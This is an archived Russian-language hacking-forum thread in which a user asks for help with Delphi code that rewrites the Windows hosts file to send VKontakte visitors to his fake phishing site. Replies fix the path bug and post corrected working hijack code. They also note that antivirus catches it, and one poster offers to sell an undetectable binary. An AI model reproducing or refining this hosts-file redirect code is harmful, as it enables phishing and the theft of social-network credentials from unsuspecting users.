PDA

Просмотр полной версии : Редирект [DELPHI]


qaKEP
24.10.2009, 13:49
Сдравствуйте уважаемые форумчане.
В делфи надо сделать редирект с контакта на мой фейк, через редактирование файла host.


procedure TForm1.FormActivate(Sender: TObject);
var f:textfile;
begin

assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+' \system32\drivers\etc\hosts');
append(f);
writeln(f,'ip www.site.ru');
writeln(f,'ip site.ru');
closefile(f);
end;


Что не правильно? Помогите решить наболевший вопрос!

Chrome~
24.10.2009, 14:33
assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+' \system32\drivers\etc\hosts');

Зачем поставил пробелы перед "\system32"?

SeoLapot
24.10.2009, 15:44
Я а знаю в чем, проблема но не скажу :) Нефиг людей дурить :)

slesh
24.10.2009, 17:29
спокойно пашет код такого вида:

var
f : textfile;
buf : array[0..256] of char;
begin
GetWindowsDirectory(buf, 256);
assignfile(f, buf + '\system32\drivers\etc\hosts');
append(f);
writeln(f,#13#10'ip www.site.ru'); // #13#10 для того чтобы небыло глюков если небыло перехода строки на предыдущей записи
writeln(f,'ip site.ru');
closefile(f);
end;


а вообще этот метод ооочень паливный. даже самая ленивая проактивка его палит

ErrorNeo
24.10.2009, 18:36
неправильнее всего то что вообще не хватает половины необходимого для работы кода.

upd. такой как тебе нужен непалящийся проактивкой бинарник тебе будет стоить долларов 25 - если нада стучи.
Ессна без сурсов.
В твоем же случае не "неправильно". В твоем случае у тебя крыло от машины и ты спрашиваешь почему она не едет.